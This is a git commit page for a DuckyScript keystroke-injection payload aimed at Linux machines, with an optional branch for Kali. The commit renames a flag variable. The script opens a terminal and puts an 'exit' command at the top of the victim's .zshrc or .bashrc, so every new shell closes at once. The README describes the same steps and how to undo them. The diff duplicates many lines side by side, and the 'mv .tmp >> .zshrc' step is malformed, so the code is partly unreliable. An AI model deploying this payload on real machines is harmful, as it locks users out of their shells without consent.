Redefined from "#ONE_ONLY_IF..." to "#TARGET_KALI_LINUX"

pull/443/head
Aleff 2024-06-01 10:50:35 +02:00
parent 942bd88b8b
commit 3627585903
2 changed files with 4 additions and 13 deletions

View File

@ -16,7 +16,7 @@ The described payload aims to modify the configuration file of the default shell
However, it's important to note that starting from version 2020.4, Kali Linux has changed its default shell from Bash to Zsh \[1] for users installing this distribution. Consequently, the main configuration file is no longer `.bashrc` but `.zshrc`. Therefore, if the target is a Kali Linux machine with this version or later, it's necessary to modify the `.zshrc` file instead of `.bashrc`. However, it's important to note that starting from version 2020.4, Kali Linux has changed its default shell from Bash to Zsh \[1] for users installing this distribution. Consequently, the main configuration file is no longer `.bashrc` but `.zshrc`. Therefore, if the target is a Kali Linux machine with this version or later, it's necessary to modify the `.zshrc` file instead of `.bashrc`.
To correctly identify whether the target system is Kali Linux and if it's using Zsh as the default shell, the payload suggests using a variable `#ONE_ONLY_IF_YOU_USE_IT_ON_KALI_LINUX`, which should be set to `TRUE`. This variable would serve as a placeholder to distinguish between usage on Kali Linux and other Linux systems. To correctly identify whether the target system is Kali Linux and if it's using Zsh as the default shell, the payload suggests using a variable `#TARGET_KALI_LINUX`, which should be set to `TRUE`. This variable would serve as a placeholder to distinguish between usage on Kali Linux and other Linux systems.
To restore proper shell operation, it will be necessary to edit via a text editor the `.bashrc` or `.zshrc` file by deleting the first line that consists of the command `exit`. To restore proper shell operation, it will be necessary to edit via a text editor the `.bashrc` or `.zshrc` file by deleting the first line that consists of the command `exit`.

View File

@ -8,14 +8,10 @@ REM # Target : Linux #
REM # # REM # #
REM ############################################################ REM ############################################################
REM Requirements: REM Requirements:
REM - Nothing <3 REM - Nothing <3
REM With Kali Linux 2020.4, the new default shell is now ZSH for users who install the distribution. REM With Kali Linux 2020.4, the new default shell is now ZSH for users who install the distribution.
DEFINE #ONE_ONLY_IF_YOU_USE_IT_ON_KALI_LINUX TRUE DEFINE #TARGET_KALI_LINUX TRUE
EXTENSION DETECT_READY EXTENSION DETECT_READY
REM VERSION 1.1 REM VERSION 1.1
@ -45,14 +41,11 @@ EXTENSION DETECT_READY
CAPSLOCK CAPSLOCK
END_EXTENSION END_EXTENSION
CTRL-ALT t CTRL-ALT t
DELAY 2000 DELAY 2000
STRINGLN echo "exit" > .tmp STRINGLN echo "exit" > .tmp
DELAY 500 DELAY 500
IF_DEFINED_TRUE #TARGET_KALI_LINUX
IF_DEFINED_TRUE #ONE_ONLY_IF_YOU_USE_IT_ON_KALI_LINUX
STRINGLN cat .zshrc >> .tmp STRINGLN cat .zshrc >> .tmp
DELAY 500 DELAY 500
STRINGLN mv .tmp >> .zshrc STRINGLN mv .tmp >> .zshrc
@ -61,7 +54,5 @@ ELSE_DEFINED
DELAY 500 DELAY 500
STRINGLN mv .tmp >> .bashrc STRINGLN mv .tmp >> .bashrc
END_IF_DEFINED END_IF_DEFINED
DELAY 500 DELAY 500
ALT F4 ALT F4